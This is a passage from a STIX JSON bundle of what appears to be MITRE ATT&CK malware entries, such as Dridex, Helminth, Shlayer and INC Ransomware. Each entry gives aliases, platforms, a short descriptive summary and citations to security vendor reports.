2018)"},{"source_name":"JSocket","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"AlienSpy","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Frutas","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Sockrat","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Unrecom","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"jFrutas","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Adwind","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"jBiFrost","description":"(Citation: NCSC Joint Report Public Tools)"},{"source_name":"Kaspersky Adwind Feb 2016","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf"},{"source_name":"jRAT Symantec Aug 2018","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques"},{"source_name":"NCSC Joint Report Public Tools","description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:22:38.177Z","name":"Helminth","description":"[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Robert Falcone"],"x_mitre_aliases":["Helminth"],"type":"malware","id":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0170","external_id":"S0170"},{"source_name":"Helminth","description":"(Citation: Palo Alto OilRig May 2016)"},{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-03T21:55:20.998Z","name":"Dridex","description":"[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_contributors":["Daniyal Naeem, BT Security","Jennifer Kim Roman, CrowdStrike"],"x_mitre_aliases":["Dridex","Bugat v5"],"type":"malware","id":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","created":"2019-05-30T19:47:37.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0384","external_id":"S0384"},{"source_name":"Bugat v5","description":"(Citation: Dell Dridex Oct 2015)"},{"source_name":"Dridex","description":"(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)"},{"source_name":"Checkpoint Dridex Jan 2021","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"},{"source_name":"Dell Dridex Oct 2015","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"},{"source_name":"Kaspersky Dridex May 2017","description":"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.","url":"https://securelist.com/dridex-a-history-of-evolution/78531/"},{"source_name":"Treasury EvilCorp Dec 2019","description":"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.","url":"https://home.treasury.gov/news/press-releases/sm845"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BBK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","type":"malware","created":"2020-06-10T18:00:28.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0470","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0470"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:36:00.792Z","name":"BBK","description":"[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Komplex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f108215f-3487-489d-be8b-80e346d32518","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0162","url":"https://attack.mitre.org/software/S0162","source_name":"mitre-attack"},{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-03-30T16:55:54.637Z","name":"Komplex","description":"[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-30T16:28:36.699Z","name":"OSX/Shlayer","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["OSX/Shlayer","Zshlayer","Crossrider"],"type":"malware","id":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","created":"2019-08-29T18:52:20.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0402","external_id":"S0402"},{"source_name":"OSX/Shlayer","description":"(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)"},{"source_name":"Crossrider","description":"(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)"},{"source_name":"Zshlayer","description":"(Citation: sentinelone shlayer to zshlayer)"},{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Intego Shlayer Feb 2018","description":"Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.","url":"https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"Malwarebytes Crossrider Apr 2018","description":"Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/"},{"source_name":"Intego Shlayer Apr 2018","description":"Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.","url":"https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T03:36:59.569Z","name":"Denis","description":"[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Denis"],"type":"malware","id":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","created":"2019-01-30T20:01:44.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0354","external_id":"S0354"},{"source_name":"Denis","description":"(Citation: Cybereason Oceanlotus May 2017)"},{"source_name":"Cybereason Oceanlotus May 2017","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:03:40.175Z","name":"INC Ransomware","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) is a ransomware strain that has been used by the [INC Ransom](https://attack.mitre.org/groups/G1032) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://attack.mitre.org/software/S1139) can employ partial encryption combined with multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Matt Anderson, @‌nosecurething, Huntress"],"x_mitre_aliases":["INC Ransomware"],"type":"malware","id":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","created":"2024-06-06T18:28:58.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1139","external_id":"S1139"},{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-26T18:34:46.859Z","name":"DEADWOOD","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://attack.mitre.org/software/S1134) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://attack.mitre.org/groups/G1030) operations.(Citation: SentinelOne Agrius 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["DEADWOOD"],"type":"malware","id":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","created":"2024-05-22T21:27:28.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1134","external_id":"S1134"},{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-28T14:16:00.884Z","name":"GLOOXMAIL","description":"[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["GLOOXMAIL","Trojan.GTALK"],"type":"malware","id":"malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2","created":"2017-05-31T21:32:20.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0026","external_id":"S0026"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Dok","Retefe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0281","external_id":"S0281"},{"source_name":"Dok","description":"(Citation: objsee mac malware 2017)"},{"source_name":"Retefe","description":"(Citation: objsee mac malware 2017)."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}],"modified":"2021-10-12T11:26:16.316Z","name":"Dok","description":"[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:14:28.440Z","name":"Waterbear","description":"[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Waterbear"],"type":"malware","id":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","created":"2021-02-22T16:35:33.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0579","external_id":"S0579"},{"source_name":"Waterbear","description":"(Citation: Trend Micro Waterbear December 2019)"},{"source_name":"Trend Micro Waterbear December 2019","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021.","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:33:06.963Z","name":"FIVEHANDS","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["FIVEHANDS"],"type":"malware","id":"malware--f464354c-7103-47c6-969b-8766f0157ed2","created":"2021-06-04T15:34:01.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0618","external_id":"S0618"},{"source_name":"NCC Group Fivehands June 2021","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021.","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/"},{"source_name":"FireEye FiveHands April 2021","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Comnie"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0244","external_id":"S0244"},{"source_name":"Comnie","description":"(Citation: Palo Alto Comnie)"},{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-30T15:25:11.871Z","name":"Comnie","description":"[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Vasport"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0207","external_id":"S0207"},{"source_name":"Vasport","description":"(Citation: Symantec Vasport May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2021-01-06T19:32:28.278Z","name":"Vasport","description":"[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["AutoIt backdoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","type":"malware","created":"2017-05-31T21:33:14.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0129","external_id":"S0129"},{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2020-03-30T14:52:48.605Z","name":"AutoIt backdoor","description":"[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["JSS Loader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f559f945-eb8b-48b1-904c-68568deebed3","type":"malware","created":"2021-09-22T14:44:48.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0648","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0648"},{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:57:14.998Z","name":"JSS Loader","description":"[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PHOREAL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0158","external_id":"S0158"},{"source_name":"PHOREAL","description":"(Citation: FireEye APT32 May 2017)"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-30T17:15:03.862Z","name":"PHOREAL","description":"[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 